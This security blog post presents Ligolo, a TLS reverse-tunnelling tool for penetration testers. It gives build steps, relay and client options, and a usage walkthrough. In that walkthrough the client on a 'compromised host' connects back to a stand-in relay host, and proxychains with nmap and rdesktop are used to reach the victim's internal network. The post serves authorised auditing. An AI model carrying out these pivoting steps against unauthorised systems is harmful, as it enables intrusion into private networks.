Ligolo Reverse Tunnelling Made Easy For Pentesters

Ligolo Reverse Tunnelling

Ligolo is a simple and lightweight framework for establishing SOCKS5 or TCP tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).

It is comparable to Meterpreter with Autoroute + Socks4a, but more stable and faster.

Use case

You compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and you want to establish connections to other machines on this network.

Ligolo can setup a tunnel to access internal server’s resources.

Quick Demo

Relay of a RDP connection using Proxychains (WAN).

Ligolo Penetration Testing


Here is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.



Setup / Compiling

Make sure Go is installed and working.

1. Get Ligolo and dependencies

cd `go env GOPATH`/src
git clone
cd ligolo
make dep

2. Generate self-signed TLS certificates (will be placed in the certs folder)

make certs

NOTE: You can also use your own certificates by using the TLS_CERT make option when calling build. Example: make build-all TLS_CERT=certs/mycert.pem.

3. Build

  • 3.1. For all architectures
    make build-all
  • 3.2. (or) For the current architecture
    make build

How to use?

Ligolo consists of two modules:

  • localrelay
  • ligolo

Localrelay is intended to be launched on the control server (the attacker server).

Ligolo is the program to run on the target computer.

For localrelay, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from ligolo (-relayserver parameter).

For ligolo, you must specify the IP address of the relay server (or your attack server) using the -relayserver ip:port parameter.

You can use the -h option for help.

Once the connection has been established between Ligolo and LocalRelay, a SOCKS5 proxy will be set up on TCP port 1080 on the relay server (you can change the TCP address/port using the -localserver option).

After that, all you have to do is use your favorite framework (Proxychains for example), and explore the client’s LAN network.


On your attack server.


On the compromise host.

> ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555

Once the connection is established, set the following parameters on the ProxyChains config file (On the attack server):

# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 1080


$ proxychains nmap -sT -p 80 -Pn -A
$ proxychains rdesktop


Localrelay options:

Usage of localrelay:
-certfile string
The TLS server certificate (default "certs/server.crt")
-keyfile string
The TLS server key (default "certs/server.key")
-localserver string
The local server address (your proxychains parameter) (default "")
-relayserver string
The relay server listening address (the connect-back address) (default "")

Ligolo options:

Usage of ligolo:
Attempt to reconnect in case of an exception
-relayserver string
The relay server (the connect-back address) (default "")
Skip TLS certificate pinning verification
-targetserver string
The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server


  • TLS 1.3 tunnel with TLS pinning
  • Multiplatforms (Windows / Linux / Mac / …)
  • Multiplexing (1 TCP connection for all flows)
  • SOCKS5 proxy or simple relay

To Do

  • Better timeout handling
  • SOCKS5 UDP support
  • Implement mTLS

Download Ligolo

For the latest update about Cyber and Infosec World, follow us on Twitter, Facebook, Telegram , Instagram and subscribe to our YouTube Channel.

Subscribe to HackersOnlineClub via Email

Enter your Email address to receive notifications of Latest Posts by Email | Join over Million Followers

More from Priyanshu Sahay

Metasploit Framework 6 Preview Available

The Rapid7 team announces Metasploit 6.0 Under Active Development Mode for testers....
Read More

Leave a Reply